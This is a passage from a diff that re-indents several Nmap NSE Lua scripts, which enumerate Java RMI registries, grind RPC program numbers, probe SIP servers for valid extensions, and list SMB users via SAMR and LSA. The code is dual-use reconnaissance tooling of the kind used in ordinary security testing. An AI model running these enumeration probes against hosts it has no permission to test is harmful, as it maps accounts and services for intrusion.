local status, j_array = registry:list()
|
||||
local output = {}
|
||||
if not status then
|
||||
return false, ("Registry listing failed (%s)"):format(tostring(j_array))
|
||||
end
|
||||
-- It's definitely RMI!
|
||||
port.version.name ='java-rmi'
|
||||
port.version.product='Java RMI Registry'
|
||||
nmap.set_port_version(host,port)
|
||||
local status, j_array = registry:list()
|
||||
local output = {}
|
||||
if not status then
|
||||
return false, ("Registry listing failed (%s)"):format(tostring(j_array))
|
||||
end
|
||||
-- It's definitely RMI!
|
||||
port.version.name ='java-rmi'
|
||||
port.version.product='Java RMI Registry'
|
||||
nmap.set_port_version(host,port)
|
||||
|
||||
-- Monkey patch the java-class in rmi, to set our own custom data formatter
|
||||
-- for classpaths
|
||||
rmi.JavaClass.customDataFormatter = customDataFormatter
|
||||
-- Monkey patch the java-class in rmi, to set our own custom data formatter
|
||||
-- for classpaths
|
||||
rmi.JavaClass.customDataFormatter = customDataFormatter
|
||||
|
||||
-- We expect an array of strings to be the return data
|
||||
local data = j_array:getValues()
|
||||
for i,name in ipairs( data ) do
|
||||
--print(data)
|
||||
table.insert(output, name)
|
||||
dbg("Querying object %s", name)
|
||||
local status, j_object= registry:lookup(name)
|
||||
-- We expect an array of strings to be the return data
|
||||
local data = j_array:getValues()
|
||||
for i,name in ipairs( data ) do
|
||||
--print(data)
|
||||
table.insert(output, name)
|
||||
dbg("Querying object %s", name)
|
||||
local status, j_object= registry:lookup(name)
|
||||
|
||||
if status then
|
||||
table.insert(output, j_object:toTable())
|
||||
end
|
||||
if status then
|
||||
table.insert(output, j_object:toTable())
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
|
||||
@@ -44,16 +44,16 @@ categories = {"version"}
|
||||
|
||||
|
||||
portrule = function(host, port)
|
||||
-- Do not run for excluded ports
|
||||
if (nmap.port_is_excluded(port.number, port.protocol)) then
|
||||
return false
|
||||
end
|
||||
if port.service ~= nil and port.version.service_dtype ~= "table" and port.service ~= 'rpcbind' then
|
||||
-- Exclude services that have already been detected as something
|
||||
-- different than rpcbind.
|
||||
return false
|
||||
end
|
||||
return true
|
||||
-- Do not run for excluded ports
|
||||
if (nmap.port_is_excluded(port.number, port.protocol)) then
|
||||
return false
|
||||
end
|
||||
if port.service ~= nil and port.version.service_dtype ~= "table" and port.service ~= 'rpcbind' then
|
||||
-- Exclude services that have already been detected as something
|
||||
-- different than rpcbind.
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
--- Function that determines if the target port of host uses RPC protocol.
|
||||
@@ -61,57 +61,57 @@ end
|
||||
--@param port Port table as commonly used in Nmap.
|
||||
--@return status boolean True if target port uses RPC protocol, false else.
|
||||
local isRPC = function(host, port)
|
||||
-- If rpcbind is already set up by -sV
|
||||
-- which does practically the same check as in the "else" part.
|
||||
-- The nmap-services-probe entry "rpcbind" is not correctly true, and should
|
||||
-- be changed to something like "sunrpc"
|
||||
if port.service == 'rpcbind' then
|
||||
return true
|
||||
else
|
||||
-- this check is important if we didn't run the scan with -sV.
|
||||
-- If we run the scan with -sV, this check shouldn't return true as it is pretty much similar
|
||||
-- to the "rpcbind" service probe in nmap-service-probes.
|
||||
local rpcConn, status, err, data, rxid, msgtype, _
|
||||
-- If rpcbind is already set up by -sV
|
||||
-- which does practically the same check as in the "else" part.
|
||||
-- The nmap-services-probe entry "rpcbind" is not correctly true, and should
|
||||
-- be changed to something like "sunrpc"
|
||||
if port.service == 'rpcbind' then
|
||||
return true
|
||||
else
|
||||
-- this check is important if we didn't run the scan with -sV.
|
||||
-- If we run the scan with -sV, this check shouldn't return true as it is pretty much similar
|
||||
-- to the "rpcbind" service probe in nmap-service-probes.
|
||||
local rpcConn, status, err, data, rxid, msgtype, _
|
||||
|
||||
-- Create new socket
|
||||
-- rpcbind is not really important, we could have used another protocol from rpc.lua
|
||||
-- such as nfs or mountd. Same thing for version 2.
|
||||
rpcConn = rpc.Comm:new("rpcbind", 2)
|
||||
status, err = rpcConn:Connect(host, port)
|
||||
if not status then
|
||||
stdnse.print_debug("%s: %s", SCRIPT_NAME, err)
|
||||
return
|
||||
end
|
||||
|
||||
-- Send packet
|
||||
local xid = math.random(1234567890)
|
||||
data = rpcConn:EncodePacket(xid)
|
||||
status, err = rpcConn:SendPacket(data)
|
||||
if not status then
|
||||
stdnse.print_debug("%s SendPacket(): %s", SCRIPT_NAME, err)
|
||||
return
|
||||
end
|
||||
|
||||
-- And check response
|
||||
status, data = rpcConn:ReceivePacket()
|
||||
if not status then
|
||||
stdnse.print_debug("%s: isRPC didn't receive response.", SCRIPT_NAME)
|
||||
return
|
||||
else
|
||||
-- If we got response, set port to open
|
||||
nmap.set_port_state(host, port, "open")
|
||||
|
||||
_, rxid = bin.unpack(">I", data, 1)
|
||||
_, msgtype = bin.unpack(">I", data, 5)
|
||||
-- If response XID does match request XID
|
||||
-- and message type equals 1 (REPLY) then
|
||||
-- it is a RPC port.
|
||||
if rxid == xid and msgtype == 1 then
|
||||
return true
|
||||
end
|
||||
end
|
||||
-- Create new socket
|
||||
-- rpcbind is not really important, we could have used another protocol from rpc.lua
|
||||
-- such as nfs or mountd. Same thing for version 2.
|
||||
rpcConn = rpc.Comm:new("rpcbind", 2)
|
||||
status, err = rpcConn:Connect(host, port)
|
||||
if not status then
|
||||
stdnse.print_debug("%s: %s", SCRIPT_NAME, err)
|
||||
return
|
||||
end
|
||||
stdnse.print_debug("%s: RPC checking function response data is not RPC.", SCRIPT_NAME)
|
||||
|
||||
-- Send packet
|
||||
local xid = math.random(1234567890)
|
||||
data = rpcConn:EncodePacket(xid)
|
||||
status, err = rpcConn:SendPacket(data)
|
||||
if not status then
|
||||
stdnse.print_debug("%s SendPacket(): %s", SCRIPT_NAME, err)
|
||||
return
|
||||
end
|
||||
|
||||
-- And check response
|
||||
status, data = rpcConn:ReceivePacket()
|
||||
if not status then
|
||||
stdnse.print_debug("%s: isRPC didn't receive response.", SCRIPT_NAME)
|
||||
return
|
||||
else
|
||||
-- If we got response, set port to open
|
||||
nmap.set_port_state(host, port, "open")
|
||||
|
||||
_, rxid = bin.unpack(">I", data, 1)
|
||||
_, msgtype = bin.unpack(">I", data, 5)
|
||||
-- If response XID does match request XID
|
||||
-- and message type equals 1 (REPLY) then
|
||||
-- it is a RPC port.
|
||||
if rxid == xid and msgtype == 1 then
|
||||
return true
|
||||
end
|
||||
end
|
||||
end
|
||||
stdnse.print_debug("%s: RPC checking function response data is not RPC.", SCRIPT_NAME)
|
||||
end
|
||||
|
||||
-- Function that iterates over the nmap-rpc file and
|
||||
@@ -119,34 +119,34 @@ end
|
||||
-- @return name Name of the RPC service.
|
||||
-- @return number RPC number of the matching service name.
|
||||
local rpcIterator = function()
|
||||
-- Check if nmap-rpc file is present.
|
||||
local path = nmap.fetchfile("nmap-rpc")
|
||||
if not path then
|
||||
stdnse.print_debug("%s: Could not find nmap-rpc file.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
-- Check if nmap-rpc file is present.
|
||||
local path = nmap.fetchfile("nmap-rpc")
|
||||
if not path then
|
||||
stdnse.print_debug("%s: Could not find nmap-rpc file.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
|
||||
-- And is readable
|
||||
local nmaprpc, _, _ = io.open( path, "r" )
|
||||
if not nmaprpc then
|
||||
stdnse.print_debug("%s: Could not open nmap-rpc for reading.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
-- And is readable
|
||||
local nmaprpc, _, _ = io.open( path, "r" )
|
||||
if not nmaprpc then
|
||||
stdnse.print_debug("%s: Could not open nmap-rpc for reading.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
|
||||
return function()
|
||||
while true do
|
||||
local line = nmaprpc:read()
|
||||
if not line then
|
||||
break
|
||||
end
|
||||
-- Now, we parse lines for meaningful ones
|
||||
local name, number = line:match("^%s*([^%s#]+)%s+(%d+)")
|
||||
-- And return program name and number
|
||||
if name and number then
|
||||
return name, tonumber(number)
|
||||
end
|
||||
end
|
||||
return function()
|
||||
while true do
|
||||
local line = nmaprpc:read()
|
||||
if not line then
|
||||
break
|
||||
end
|
||||
-- Now, we parse lines for meaningful ones
|
||||
local name, number = line:match("^%s*([^%s#]+)%s+(%d+)")
|
||||
-- And return program name and number
|
||||
if name and number then
|
||||
return name, tonumber(number)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
--- Function that sends RPC null commands with a random version number and
|
||||
@@ -157,113 +157,113 @@ end
|
||||
-- @param iterator Iterator function that returns program name and number pairs.
|
||||
-- @param result table to put result into.
|
||||
local rpcGrinder = function(host, port, iterator, result)
|
||||
local condvar = nmap.condvar(result)
|
||||
local rpcConn, version, xid, status, response, packet, err, data, _
|
||||
local condvar = nmap.condvar(result)
|
||||
local rpcConn, version, xid, status, response, packet, err, data, _
|
||||
|
||||
xid = math.random(123456789)
|
||||
-- We use a random, most likely unsupported version so that
|
||||
-- we also trigger min and max version disclosure for the target service.
|
||||
version = math.random(12345, 123456789)
|
||||
rpcConn = rpc.Comm:new("rpcbind", version)
|
||||
rpcConn:SetCheckProgVer(false)
|
||||
status, err = rpcConn:Connect(host, port)
|
||||
xid = math.random(123456789)
|
||||
-- We use a random, most likely unsupported version so that
|
||||
-- we also trigger min and max version disclosure for the target service.
|
||||
version = math.random(12345, 123456789)
|
||||
rpcConn = rpc.Comm:new("rpcbind", version)
|
||||
rpcConn:SetCheckProgVer(false)
|
||||
status, err = rpcConn:Connect(host, port)
|
||||
|
||||
if not status then
|
||||
stdnse.print_debug("%s Connect(): %s", SCRIPT_NAME, err)
|
||||
condvar "signal";
|
||||
return
|
||||
end
|
||||
for program, number in iterator do
|
||||
-- No need to continue further if we found the matching service.
|
||||
if #result > 0 then
|
||||
break
|
||||
end
|
||||
|
||||
xid = xid + 1 -- XiD increased by 1 each time (from old RPC grind) <= Any important reason for that?
|
||||
rpcConn:SetProgID(number)
|
||||
packet = rpcConn:EncodePacket(xid)
|
||||
status, err = rpcConn:SendPacket(packet)
|
||||
if not status then
|
||||
stdnse.print_debug("%s SendPacket(): %s", SCRIPT_NAME, err)
|
||||
condvar "signal";
|
||||
return
|
||||
end
|
||||
|
||||
status, data = rpcConn:ReceivePacket()
|
||||
if not status then
|
||||
stdnse.print_debug("%s ReceivePacket(): %s", SCRIPT_NAME, data)
|
||||
condvar "signal";
|
||||
return
|
||||
end
|
||||
|
||||
_,response = rpcConn:DecodeHeader(data, 1)
|
||||
if type(response) == 'table' then
|
||||
if xid ~= response.xid then
|
||||
-- Shouldn't happen.
|
||||
stdnse.print_debug("%s: XID mismtach.", SCRIPT_NAME)
|
||||
end
|
||||
-- Look at accept state
|
||||
-- Not supported version means that we used the right program number
|
||||
if response.accept_state == rpc.Portmap.AcceptState.PROG_MISMATCH then
|
||||
result.program = program
|
||||
result.number = number
|
||||
_, result.highver = bin.unpack(">I", data, #data - 3)
|
||||
_, result.lowver = bin.unpack(">I", data, #data - 7)
|
||||
table.insert(result, true) -- To make #result > 1
|
||||
|
||||
-- Otherwise, an Accept state other than Program unavailable is not normal behaviour.
|
||||
elseif response.accept_state ~= rpc.Portmap.AcceptState.PROG_UNAVAIL then
|
||||
stdnse.print_debug("%s: returned %s accept state for %s program number.",SCRIPT_NAME, response.accept_state, number)
|
||||
end
|
||||
end
|
||||
end
|
||||
if not status then
|
||||
stdnse.print_debug("%s Connect(): %s", SCRIPT_NAME, err)
|
||||
condvar "signal";
|
||||
return result
|
||||
return
|
||||
end
|
||||
for program, number in iterator do
|
||||
-- No need to continue further if we found the matching service.
|
||||
if #result > 0 then
|
||||
break
|
||||
end
|
||||
|
||||
xid = xid + 1 -- XiD increased by 1 each time (from old RPC grind) <= Any important reason for that?
|
||||
rpcConn:SetProgID(number)
|
||||
packet = rpcConn:EncodePacket(xid)
|
||||
status, err = rpcConn:SendPacket(packet)
|
||||
if not status then
|
||||
stdnse.print_debug("%s SendPacket(): %s", SCRIPT_NAME, err)
|
||||
condvar "signal";
|
||||
return
|
||||
end
|
||||
|
||||
status, data = rpcConn:ReceivePacket()
|
||||
if not status then
|
||||
stdnse.print_debug("%s ReceivePacket(): %s", SCRIPT_NAME, data)
|
||||
condvar "signal";
|
||||
return
|
||||
end
|
||||
|
||||
_,response = rpcConn:DecodeHeader(data, 1)
|
||||
if type(response) == 'table' then
|
||||
if xid ~= response.xid then
|
||||
-- Shouldn't happen.
|
||||
stdnse.print_debug("%s: XID mismtach.", SCRIPT_NAME)
|
||||
end
|
||||
-- Look at accept state
|
||||
-- Not supported version means that we used the right program number
|
||||
if response.accept_state == rpc.Portmap.AcceptState.PROG_MISMATCH then
|
||||
result.program = program
|
||||
result.number = number
|
||||
_, result.highver = bin.unpack(">I", data, #data - 3)
|
||||
_, result.lowver = bin.unpack(">I", data, #data - 7)
|
||||
table.insert(result, true) -- To make #result > 1
|
||||
|
||||
-- Otherwise, an Accept state other than Program unavailable is not normal behaviour.
|
||||
elseif response.accept_state ~= rpc.Portmap.AcceptState.PROG_UNAVAIL then
|
||||
stdnse.print_debug("%s: returned %s accept state for %s program number.",SCRIPT_NAME, response.accept_state, number)
|
||||
end
|
||||
end
|
||||
end
|
||||
condvar "signal";
|
||||
return result
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
local result, lthreads = {}, {}
|
||||
local result, lthreads = {}, {}
|
||||
|
||||
if not isRPC(host, port) then
|
||||
stdnse.print_debug("Target port %s is not a RPC port.", port.number)
|
||||
return
|
||||
if not isRPC(host, port) then
|
||||
stdnse.print_debug("Target port %s is not a RPC port.", port.number)
|
||||
return
|
||||
end
|
||||
local threads = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".threads")) or 4
|
||||
|
||||
local iterator = rpcIterator()
|
||||
if not iterator then
|
||||
return
|
||||
end
|
||||
-- And now, exec our grinder
|
||||
for i = 1,threads do
|
||||
local co = stdnse.new_thread(rpcGrinder, host, port, iterator, result)
|
||||
lthreads[co] = true
|
||||
end
|
||||
|
||||
local condvar = nmap.condvar(result)
|
||||
repeat
|
||||
for thread in pairs(lthreads) do
|
||||
if coroutine.status(thread) == "dead" then
|
||||
lthreads[thread] = nil
|
||||
end
|
||||
end
|
||||
local threads = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".threads")) or 4
|
||||
|
||||
local iterator = rpcIterator()
|
||||
if not iterator then
|
||||
return
|
||||
end
|
||||
-- And now, exec our grinder
|
||||
for i = 1,threads do
|
||||
local co = stdnse.new_thread(rpcGrinder, host, port, iterator, result)
|
||||
lthreads[co] = true
|
||||
if ( next(lthreads) ) then
|
||||
condvar "wait";
|
||||
end
|
||||
until next(lthreads) == nil;
|
||||
|
||||
local condvar = nmap.condvar(result)
|
||||
repeat
|
||||
for thread in pairs(lthreads) do
|
||||
if coroutine.status(thread) == "dead" then
|
||||
lthreads[thread] = nil
|
||||
end
|
||||
end
|
||||
if ( next(lthreads) ) then
|
||||
condvar "wait";
|
||||
end
|
||||
until next(lthreads) == nil;
|
||||
|
||||
-- Check the result and set the port version.
|
||||
if #result > 0 then
|
||||
port.version.name = result.program
|
||||
port.version.extrainfo = "RPC #" .. result.number
|
||||
if result.highver ~= result.lowver then
|
||||
port.version.version = ("%s-%s"):format(result.lowver, result.highver)
|
||||
else
|
||||
port.version.version = result.highver
|
||||
end
|
||||
nmap.set_port_version(host, port, "hardmatched")
|
||||
-- Check the result and set the port version.
|
||||
if #result > 0 then
|
||||
port.version.name = result.program
|
||||
port.version.extrainfo = "RPC #" .. result.number
|
||||
if result.highver ~= result.lowver then
|
||||
port.version.version = ("%s-%s"):format(result.lowver, result.highver)
|
||||
else
|
||||
stdnse.print_debug("Couldn't determine the target RPC service. Running a service not in nmap-rpc ?")
|
||||
port.version.version = result.highver
|
||||
end
|
||||
return nil
|
||||
nmap.set_port_version(host, port, "hardmatched")
|
||||
else
|
||||
stdnse.print_debug("Couldn't determine the target RPC service. Running a service not in nmap-rpc ?")
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
@@ -73,14 +73,14 @@ portrule = shortport.port_or_service(5060, "sip", {"tcp", "udp"})
|
||||
-- @return status true on success, false on failure.
|
||||
-- @return Response instance on success, error string on failure.
|
||||
local registerext = function(sess, ext)
|
||||
-- set session values
|
||||
local request = sip.Request:new(sip.Method.REGISTER)
|
||||
-- set session values
|
||||
local request = sip.Request:new(sip.Method.REGISTER)
|
||||
|
||||
request:setUri("sip:" .. sess.sessdata:getServer())
|
||||
sess.sessdata:setUsername(ext)
|
||||
request:setSessionData(sess.sessdata)
|
||||
request:setUri("sip:" .. sess.sessdata:getServer())
|
||||
sess.sessdata:setUsername(ext)
|
||||
request:setSessionData(sess.sessdata)
|
||||
|
||||
return sess:exch(request)
|
||||
return sess:exch(request)
|
||||
end
|
||||
|
||||
--- Function that returns a number as string with a number of zeroes padded to
|
||||
@@ -89,14 +89,14 @@ end
|
||||
-- @arg padding number of digits to pad up to.
|
||||
-- @return string of padded number.
|
||||
local padnum = function(num, padding)
|
||||
-- How many zeroes do we need to add
|
||||
local n = #tostring(num)
|
||||
if n >= padding then
|
||||
return tostring(num)
|
||||
end
|
||||
n = padding - n
|
||||
-- How many zeroes do we need to add
|
||||
local n = #tostring(num)
|
||||
if n >= padding then
|
||||
return tostring(num)
|
||||
end
|
||||
n = padding - n
|
||||
|
||||
return string.rep(tostring(0), n) .. tostring(num)
|
||||
return string.rep(tostring(0), n) .. tostring(num)
|
||||
end
|
||||
|
||||
--- Iterator function that returns values from a lower value up to a greater
|
||||
@@ -106,11 +106,11 @@ end
|
||||
-- @arg padding number of digits to pad up to.
|
||||
-- @return string current value.
|
||||
local numiterator = function(minval, maxval, padding)
|
||||
local i = minval - 1
|
||||
return function()
|
||||
i = i + 1
|
||||
if i <= maxval then return padnum(i, padding), '' end
|
||||
end
|
||||
local i = minval - 1
|
||||
return function()
|
||||
i = i + 1
|
||||
if i <= maxval then return padnum(i, padding), '' end
|
||||
end
|
||||
end
|
||||
|
||||
--- Iterator function that returns lines from a file
|
||||
@@ -118,19 +118,19 @@ end
|
||||
-- @return status false if error.
|
||||
-- @return string current line.
|
||||
local useriterator = function(list)
|
||||
local f = nmap.fetchfile(list) or list
|
||||
if not f then
|
||||
return false, ("\n ERROR: Couldn't find %s"):format(list)
|
||||
end
|
||||
f = io.open(f)
|
||||
if ( not(f) ) then
|
||||
return false, ("\n ERROR: Failed to open %s"):format(list)
|
||||
end
|
||||
return function()
|
||||
for line in f:lines() do
|
||||
return line
|
||||
end
|
||||
local f = nmap.fetchfile(list) or list
|
||||
if not f then
|
||||
return false, ("\n ERROR: Couldn't find %s"):format(list)
|
||||
end
|
||||
f = io.open(f)
|
||||
if ( not(f) ) then
|
||||
return false, ("\n ERROR: Failed to open %s"):format(list)
|
||||
end
|
||||
return function()
|
||||
for line in f:lines() do
|
||||
return line
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
--- function that tests for 404 status code when sending a REGISTER request
|
||||
@@ -138,128 +138,128 @@ end
|
||||
-- @arg host Target host table.
|
||||
-- @arg port Target port table.
|
||||
local test404 = function(host, port)
|
||||
local session, status, randext, response
|
||||
-- Random extension
|
||||
randext = math.random(1234567,987654321)
|
||||
local session, status, randext, response
|
||||
-- Random extension
|
||||
randext = math.random(1234567,987654321)
|
||||
|
||||
session = sip.Session:new(host, port)
|
||||
status = session:connect()
|
||||
if not status then
|
||||
return false, "ERROR: Failed to connect to the SIP server."
|
||||
end
|
||||
session = sip.Session:new(host, port)
|
||||
status = session:connect()
|
||||
if not status then
|
||||
return false, "ERROR: Failed to connect to the SIP server."
|
||||
end
|
||||
|
||||
status, response = registerext(session, randext)
|
||||
if not status then
|
||||
return false, "ERROR: No response from the SIP server."
|
||||
end
|
||||
if response:getErrorCode() ~= 404 then
|
||||
return false, "Server not returning 404 for random extension."
|
||||
end
|
||||
return true
|
||||
status, response = registerext(session, randext)
|
||||
if not status then
|
||||
return false, "ERROR: No response from the SIP server."
|
||||
end
|
||||
if response:getErrorCode() ~= 404 then
|
||||
return false, "Server not returning 404 for random extension."
|
||||
end
|
||||
return true
|
||||
|
||||
end
|
||||
|
||||
Driver = {
|
||||
|
||||
new = function(self, host, port)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function( self )
|
||||
self.session = sip.Session:new(self.host, self.port)
|
||||
local status = self.session:connect()
|
||||
if ( not(status) ) then
|
||||
return false, brute.Error:new( "Couldn't connect to host" )
|
||||
end
|
||||
return true
|
||||
end,
|
||||
connect = function( self )
|
||||
self.session = sip.Session:new(self.host, self.port)
|
||||
local status = self.session:connect()
|
||||
if ( not(status) ) then
|
||||
return false, brute.Error:new( "Couldn't connect to host" )
|
||||
end
|
||||
return true
|
||||
end,
|
||||
|
||||
login = function( self, username, password)
|
||||
-- We are using the "password" values instead of the "username" so we
|
||||
-- could benifit from brute.lua passonly option and setPasswordIterator
|
||||
-- function, as we are doing usernames enumeration only and not
|
||||
-- credentials brute forcing.
|
||||
local status, response, responsecode
|
||||
-- Send REGISTER request for each extension
|
||||
status, response = registerext(self.session, password)
|
||||
if status then
|
||||
responsecode = response:getErrorCode()
|
||||
-- If response status code is 401 or 407, then extension exists but
|
||||
-- requires authentication
|
||||
if responsecode == sip.Error.UNAUTHORIZED or
|
||||
responsecode == sip.Error.PROXY_AUTH_REQUIRED then
|
||||
return true, brute.Account:new(password, " Auth required", '')
|
||||
login = function( self, username, password)
|
||||
-- We are using the "password" values instead of the "username" so we
|
||||
-- could benifit from brute.lua passonly option and setPasswordIterator
|
||||
-- function, as we are doing usernames enumeration only and not
|
||||
-- credentials brute forcing.
|
||||
local status, response, responsecode
|
||||
-- Send REGISTER request for each extension
|
||||
status, response = registerext(self.session, password)
|
||||
if status then
|
||||
responsecode = response:getErrorCode()
|
||||
-- If response status code is 401 or 407, then extension exists but
|
||||
-- requires authentication
|
||||
if responsecode == sip.Error.UNAUTHORIZED or
|
||||
responsecode == sip.Error.PROXY_AUTH_REQUIRED then
|
||||
return true, brute.Account:new(password, " Auth required", '')
|
||||
|
||||
-- If response status code is 200, then extension exists
|
||||
-- and requires no authentication
|
||||
elseif responsecode == sip.Error.OK then
|
||||
return true, brute.Account:new(password, " No auth", '')
|
||||
-- If response status code is 200, then extension exists
|
||||
-- but access is forbidden.
|
||||
-- If response status code is 200, then extension exists
|
||||
-- and requires no authentication
|
||||
elseif responsecode == sip.Error.OK then
|
||||
return true, brute.Account:new(password, " No auth", '')
|
||||
-- If response status code is 200, then extension exists
|
||||
-- but access is forbidden.
|
||||
|
||||
elseif responsecode == sip.Error.FORBIDDEN then
|
||||
return true, brute.Account:new(password, " Forbidden", '')
|
||||
end
|
||||
return false,brute.Error:new( "Not found" )
|
||||
else
|
||||
return false,brute.Error:new( "No response" )
|
||||
end
|
||||
end,
|
||||
elseif responsecode == sip.Error.FORBIDDEN then
|
||||
return true, brute.Account:new(password, " Forbidden", '')
|
||||
end
|
||||
return false,brute.Error:new( "Not found" )
|
||||
else
|
||||
return false,brute.Error:new( "No response" )
|
||||
end
|
||||
end,
|
||||
|
||||
disconnect = function(self)
|
||||
self.session:close()
|
||||
return true
|
||||
end,
|
||||
disconnect = function(self)
|
||||
self.session:close()
|
||||
return true
|
||||
end,
|
||||
}
|
||||
|
||||
action = function(host, port)
|
||||
local result, lthreads = {}, {}
|
||||
local status, err
|
||||
local minext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".minext")) or 0
|
||||
local minext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".minext")) or 0
|
||||
local maxext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".maxext")) or 999
|
||||
local padding = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".padding")) or 0
|
||||
local users = stdnse.get_script_args(SCRIPT_NAME .. ".users")
|
||||
local usersfile = stdnse.get_script_args(SCRIPT_NAME .. ".userslist")
|
||||
or "nselib/data/usernames.lst"
|
||||
local result, lthreads = {}, {}
|
||||
local status, err
|
||||
local minext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".minext")) or 0
|
||||
local minext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".minext")) or 0
|
||||
local maxext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".maxext")) or 999
|
||||
local padding = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".padding")) or 0
|
||||
local users = stdnse.get_script_args(SCRIPT_NAME .. ".users")
|
||||
local usersfile = stdnse.get_script_args(SCRIPT_NAME .. ".userslist")
|
||||
or "nselib/data/usernames.lst"
|
||||
|
||||
-- min extension should be less than max extension.
|
||||
if minext > maxext then
|
||||
return "ERROR: maxext should be greater or equal than minext."
|
||||
end
|
||||
-- If not set to zero, number of digits to pad up to should have less or
|
||||
-- equal the number of digits of max extension.
|
||||
if padding ~= 0 and #tostring(maxext) > padding then
|
||||
return "ERROR: padding should be greater or equal to number of digits of maxext."
|
||||
-- min extension should be less than max extension.
|
||||
if minext > maxext then
|
||||
return "ERROR: maxext should be greater or equal than minext."
|
||||
end
|
||||
-- If not set to zero, number of digits to pad up to should have less or
|
||||
-- equal the number of digits of max extension.
|
||||
if padding ~= 0 and #tostring(maxext) > padding then
|
||||
return "ERROR: padding should be greater or equal to number of digits of maxext."
|
||||
end
|
||||
|
||||
-- We test for false positives by sending a request for a random extension
|
||||
-- and checking if it did return a 404.
|
||||
status, err = test404(host, port)
|
||||
if not status then
|
||||
return err
|
||||
end
|
||||
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
|
||||
local iterator = numiterator(minext, maxext, padding)
|
||||
if users then
|
||||
local usernames, err = useriterator(usersfile)
|
||||
if not usernames then
|
||||
return err
|
||||
end
|
||||
-- Concat numbers and users iterators
|
||||
iterator = unpwdb.concat_iterators(iterator, usernames)
|
||||
end
|
||||
engine:setPasswordIterator(iterator)
|
||||
engine.options.passonly = true
|
||||
status, result = engine:start()
|
||||
|
||||
-- We test for false positives by sending a request for a random extension
|
||||
-- and checking if it did return a 404.
|
||||
status, err = test404(host, port)
|
||||
if not status then
|
||||
return err
|
||||
end
|
||||
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
|
||||
local iterator = numiterator(minext, maxext, padding)
|
||||
if users then
|
||||
local usernames, err = useriterator(usersfile)
|
||||
if not usernames then
|
||||
return err
|
||||
end
|
||||
-- Concat numbers and users iterators
|
||||
iterator = unpwdb.concat_iterators(iterator, usernames)
|
||||
end
|
||||
engine:setPasswordIterator(iterator)
|
||||
engine.options.passonly = true
|
||||
status, result = engine:start()
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -146,120 +146,120 @@ dependencies = {"smb-brute"}
|
||||
|
||||
|
||||
hostrule = function(host)
|
||||
return smb.get_port(host) ~= nil
|
||||
return smb.get_port(host) ~= nil
|
||||
end
|
||||
|
||||
action = function(host)
|
||||
|
||||
local i, j
|
||||
local samr_status = false
|
||||
local lsa_status = false
|
||||
local samr_result = "Didn't run"
|
||||
local lsa_result = "Didn't run"
|
||||
local names = {}
|
||||
local names_lookup = {}
|
||||
local response = {}
|
||||
local samronly = nmap.registry.args.samronly
|
||||
local lsaonly = nmap.registry.args.lsaonly
|
||||
local do_samr = samronly ~= nil or (samronly == nil and lsaonly == nil)
|
||||
local do_lsa = lsaonly ~= nil or (samronly == nil and lsaonly == nil)
|
||||
local i, j
|
||||
local samr_status = false
|
||||
local lsa_status = false
|
||||
local samr_result = "Didn't run"
|
||||
local lsa_result = "Didn't run"
|
||||
local names = {}
|
||||
local names_lookup = {}
|
||||
local response = {}
|
||||
local samronly = nmap.registry.args.samronly
|
||||
local lsaonly = nmap.registry.args.lsaonly
|
||||
local do_samr = samronly ~= nil or (samronly == nil and lsaonly == nil)
|
||||
local do_lsa = lsaonly ~= nil or (samronly == nil and lsaonly == nil)
|
||||
|
||||
-- Try enumerating through SAMR. This is the better source of information, if we can get it.
|
||||
if(do_samr) then
|
||||
samr_status, samr_result = msrpc.samr_enum_users(host)
|
||||
-- Try enumerating through SAMR. This is the better source of information, if we can get it.
|
||||
if(do_samr) then
|
||||
samr_status, samr_result = msrpc.samr_enum_users(host)
|
||||
|
||||
if(samr_status) then
|
||||
-- Copy the returned array into the names[] table
|
||||
stdnse.print_debug(2, "EnumUsers: Received %d names from SAMR", #samr_result)
|
||||
for i = 1, #samr_result, 1 do
|
||||
-- Insert the full info into the names list
|
||||
table.insert(names, samr_result[i])
|
||||
-- Set the names_lookup value to 'true' to avoid duplicates
|
||||
names_lookup[samr_result[i]['name']] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
if(samr_status) then
|
||||
-- Copy the returned array into the names[] table
|
||||
stdnse.print_debug(2, "EnumUsers: Received %d names from SAMR", #samr_result)
|
||||
for i = 1, #samr_result, 1 do
|
||||
-- Insert the full info into the names list
|
||||
table.insert(names, samr_result[i])
|
||||
-- Set the names_lookup value to 'true' to avoid duplicates
|
||||
names_lookup[samr_result[i]['name']] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
-- Try enumerating through LSA.
|
||||
if(do_lsa) then
|
||||
lsa_status, lsa_result = msrpc.lsa_enum_users(host)
|
||||
if(lsa_status) then
|
||||
